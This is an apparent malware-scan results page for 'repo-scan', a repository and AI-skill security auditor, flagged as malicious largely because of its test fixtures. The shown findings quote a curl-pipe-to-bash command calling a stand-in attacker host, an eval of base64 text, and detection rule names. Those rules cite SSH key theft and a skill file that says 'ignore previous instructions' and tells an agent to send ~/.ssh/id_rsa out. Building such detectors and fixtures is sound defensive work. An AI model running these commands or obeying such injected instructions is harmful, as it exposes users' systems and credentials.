DANGER
malware detected
github.com / leonardobissoli
leonardobissoli/ repo-scan
Python·26 files·commit 3319f5f·scanned 5d ago·cached ✓
85/100
MALICIOUS
Matches known-malicious patterns. Do not clone or install.
This repository contains patterns associated with malware. Do NOT run this code.
verdict accurate?
Research / educational context
threat-state: maliciouslive
FINDINGS ░▒▓
criticalRemote script piped into a shellA shell script downloads remote content and executes it directly (e.g. `curl … | bash`). The payload is never stored or reviewable and can change server-side — a classic malware/backdoor install pattern.test-samples/malicious/install.sh
curl https://attacker.example.invalid/payload.sh | bash
+10criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.test-samples/malicious/payload.js
var decoded = atob("Zml4dHVyZS1vbmx5LW5vLXBheWxvYWQtaGVyZQ=="); eval(decoded);
+8warningPython subprocess / os.system usageos.system() or subprocess with shell=True / suspicious commands can execute arbitrary shell commands. Plain pip/package installs are usually benign.test-samples/malicious/setup.py
import os
os.system("echo fixture-only-no-real-install")
+4criticaleval() usage detectedeval() executes arbitrary code and is commonly used in malware to run obfuscated payloads fetched from remote servers.tests/run_tests.py
"NET_PIPE_SHELL", # install.sh: curl | bash
"OBF_BASE64_EXEC", # payload.js: atob(...) ... eval(...)
"EXEC_DYNAMIC", # setup.py: os.system(...)
"INSTALL_HOOK_NPM", # package.json: ...+8criticalPython remote code executionFetching code from a remote URL and immediately executing it (exec(requests.get(...).text)) is a classic malware dropper pattern.tests/run_tests.py
"SECRET_FILES", # exfil.py: ~/.ssh/id_rsa
"NET_OUTBOUND", # exfil.py: requests.post
"DEP_GIT_URL", # package.json: git+https url
}+10infoBase64 encoding usedatob() or Buffer.from with base64. Common in legitimate code but also used to hide malicious URLs.test-samples/malicious/payload.js
var decoded = atob("Zml4dHVyZS1vbmx5LW5vLXBheWxvYWQtaGVyZQ=="); eval(decoded);
+2infoBase64 encoding usedatob() or Buffer.from with base64. Common in legitimate code but also used to hide malicious URLs.tests/run_tests.py
"NET_PIPE_SHELL", # install.sh: curl | bash
"OBF_BASE64_EXEC", # payload.js: atob(...) ... eval(...)
"EXEC_DYNAMIC", # setup.py: os.system(...)
"INSTALL_HOOK_NPM", # package.json: ...+2warningSSH/credential path accessAccessing .ssh, .aws/credentials, or .env files to steal authentication credentials.tests/run_tests.py
"PI_OVERRIDE", # SKILL.md: ignore previous instructions
"PI_EXFIL_INSTRUCTION", # SKILL.md: send ~/.ssh/id_rsa to https://...
"PI_FORCED_TOOL", # SKILL.md: always run ... without asking...+5warningHigh-entropy string literalsFound 14 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.scripts/generate_report.py+3
warningHigh-entropy string literalsFound 14 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.scripts/scan_repo.py+3
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.scripts/scan_repo.py+3
warningHigh-entropy string literalsFound 5 long strings with high Shannon entropy. This is common in obfuscated payloads that hide URLs, keys, or bytecode.tests/run_tests.py+3
Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.
10 files scanned @ 3319f5f | 8/19/2026 | heuristic scan — always review manually
risk by category
code execution25
network & exfiltration4
file system access5
obfuscation12
supply chain2
owasp / injection0
telemetry
files 10/26rules hit 14engine v5commit 3319f5f
github
leonardobissoli/repo-scan
Static security audit for repositories and AI agent skills before you install them. Scans target code WITHOUT executing it, scores 0–100 across 8 categories, and emits a DOCX report + interactive HTML dashboard.
3
2
91d
26 files
10 scanned(38%)
3319f5f
architecture░▒▓
entry (0) flagged (5) pkg (12)
19 nodes · 14 edgesscroll to zoom · click node to jump to finding